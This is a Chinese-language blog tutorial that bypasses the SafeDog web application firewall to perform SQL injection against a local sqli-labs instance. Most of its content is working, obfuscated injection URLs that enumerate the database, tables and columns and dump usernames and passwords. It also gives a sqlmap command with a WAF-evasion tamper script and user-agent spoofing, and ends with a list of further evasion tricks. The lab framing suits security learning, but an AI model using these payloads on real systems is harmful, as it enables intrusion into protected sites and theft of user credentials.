首页 > 其他分享 >WAF Bypass 介绍与实战

WAF Bypass 介绍与实战

时间:2023-02-16 22:44:20浏览次数:27  
标签:实战 Bypass WAF labs sqli 2f 2f% 绕过

前言

WAF是英文"Web Application Firewall"的缩写,中文意思是"Web应用防火墙",也称为"网站应用级入侵防御系统"。WAF是集WEB防护、网页保护、负载均衡、应用交付于一体的WEB整体安全防护设备
WAF从形态上可分为硬件WAF、WAF防护软件和云WAF
以下仅介绍软件WAF及其简单绕过:安全狗

安全狗环境安装

就以安全狗为例进行安装并测试

以管理员身份打开cmd
cd C:\phpstudy\PHPTutorial\Apache\bin  //进入phpstudy的apache目录的bin目录

httpd.exe -k install -n apahce2.4

cd C:\phpstudy\PHPTutorial\MySQL\bin  //进入phpstudy的mysql目录的bin目录

mysqld --install mysql

一、Burp配合进行ByPass

使用burp抓包爆破关键字进行绕过测试

由于union与select联合用时会出现waf拦截,有时候单个出现union或者select都会出现拦截
我们将union和select之间的空格进行替换字符绕过waf,对标记的字符进行替换爆破,查看到正常显示字符的长度则绕过成功

以下绕过均采用burp配合手工进行猜解爆破

SQL注入的Waf ByPass

以下以sqli-labs为例进行绕过测试

判断字段数
http://192.168.31.198/sqli-labs/Less-1/?id=1%27%20order/*%2f%2f!*/by%204%23

联合查询显示位
http://192.168.31.198/sqli-labs/Less-1/?id=-1%27%20/*!10496union*//*%2f-*!%2f*/select/*%2f%2f!*/1,2,3%23

查数据库
http://192.168.31.198/sqli-labs/Less-1/?id=-1%27%20/*!10496union*//*%2f-*!%2f*/select/*%2f%2f!*/1,database/*%2f%2f!*/(/*%2f%2f!*/),3%23

查表
http://192.168.31.198/sqli-labs/Less-1/?id=-1%27%20/*!10496union*//*%2f-*!%2f*/select/*%2f%2f!*/1,2,group_concat(table_name)from/*!--+/*%0A(information_schema.tables)*//*%2f%2f!*/where/*%2f%2f!*/table_schema=%22security%22%23

查字段
http://192.168.31.198/sqli-labs/Less-1/?id=-1%27%20/*!10496union*//*%2f-*!%2f*/select/*%2f%2f!*/1,2,group_concat(column_name)from/*!--+/*%0A(information_schema.columns)*//*%2f%2f!*/where/*%2f%2f!*/table_schema=%22security%22%20and/*%2f-*!%2f*/table_name=%22users%22%23

查数据
http://192.168.31.198/sqli-labs/Less-1/?id=-1%27%20/*!10496union*//*%2f-*!%2f*/select/*%2f%2f!*/1,group_concat(username),group_concat(password)from%20users%23

二、自动化脚本测试绕过

将绕过脚本添加进sqlmap自带脚本tamper库里,并使用sqlmap自动化扫描测试

sqlmap -u "http://192.168.31.198/sqli-labs/Less-1/?id=1" --tamper=anquangou --random-agent

注:--tamper=anquangou 使用的是绕过安全狗的脚本
    --random-agent 开启随机ua头是因为安全狗会自动开启识别自动化探测器如sqlmap或者其他盲注自动化探测器等,然后将其拦截,开启随机ua头是为了绕过ua头为sqlmap不被拦截

总结

1.在正常绕过市面上的waf都是这些基础waf的变种,可以利用手工配合burp猜解waf绕过关键字
2.可以利用服务器的特性如 :替换为%u0053特殊字符,替换传参方式紊乱系统传参等
3.可以利用应用层方面的特性如:简单的大小写绕过,双写关键字,url多重编码,参数污染等
4.可以利用WAF层特性如:在开发云WAF、软件WAF、硬件WAF中出现逻辑问题(对00截断无法获取识别%00后面的字符从而绕过)、性能问题(频繁使用burp爆破、条件竞争会出现waf性能下降无法识别拦截)
5.可以利用数据库特性如:数据库语句可以将空格替换成换行符,或者其他可绕过字符,像SQL语句的五大位置可绕过区域
6.可以利用已写好的自动化测试脚本,采用sqlmap自动化扫描测试

标签:实战,Bypass,WAF,labs,sqli,2f,2f%,绕过
From: https://www.cnblogs.com/BlogVice-2203/p/17117718.html

相关文章

  • 真实项目开发中高并发实战经验总结
    1、使用异步多线程的方式记录详细的请求日志;使用异步多线程的方式记录接口请求调用量;2、不同类型的接口采用不同的限流设置,比如后台管理系统和对外接口采取不同的限制设置;......
  • 机器学习实战
    1.1机械学习的标志监督学习和无监督学习、在线学习和批量学习、基于实例学习和基于模型学习1.2什么是机器学习一个计算机程序利用经验E来学习任务T,性能是P,如果针对任务T......
  • 10-实战开发APK安全加固
    备注:APK一键加固源代码:https://github.com/guanchao/apk_auto_enforce10.1APK加固原理分析10.1.1 APK文件结构首先让我们先了解一下一个完整的Android应用程序都由哪......
  • 10 张图解 K8S CNI Calico 网络模型原理与功能实战
    作者:liugp原文:https://u.kubeinfo.cn/4tRBTb一、概述Calico 是一个联网和网络策略供应商。Calico支持一套灵活的网络选项,因此你可以根据自己的情况选择最有效的选......
  • 读Java实战(第二版)笔记11_语言特性和类库更新
    1. 注解1.1. 一种使用附加信息装饰程序元素的机制1.2. Java8之前,只有声明可以被注解1.3. 一种语法元数据(syntacticmetadata)1.4. 可以用于文档编制1.4.1. @De......
  • 盘点一个ddddocr实现登录的实战案例
    大家好,我是皮皮。一、前言前几天在Python白银交流群【空翼】问了一个Pyhton网络爬虫的问题,这里拿出来给大家分享下。二、实现过程一开始看上去并不能登录,找不到原因在......
  • 读Java实战(第二版)笔记10_函数式编程的技巧
    1. 设计原则1.1. 将所有你愿意接受的作为参数的函数可能带来的副作用以文档的方式记录下来1.2. 最理想的情况下你接收的函数参数应该没有任何副作用1.3. 延迟数据......
  • 关于Disruptor的实战应用
    首先,需要引入Disruptor的依赖库,可以在Maven中添加如下依赖:<dependency><groupId>com.lmax</groupId><artifactId>disruptor</artifactId><version>3.......
  • Explain详解与索引最佳实战
    Explain用途分析mysql中sql语句的执行计划Explain变种5.7之前用explain加上extended在分析结果中会多出一列filtered5.7之前用explain加上partitions在分析的结果中会......
  • 高效、优雅的对象copy之MapStruct入门到精通,实战踩坑版
    一、前言大家在开发中,最让人头疼的就是:对象之间的拷贝,前端的VO和数据库的Entity不一致!性能最好的就是手动set,主要是枯燥且无技术含量,不仅耗费大量时间而且很容易出错;所......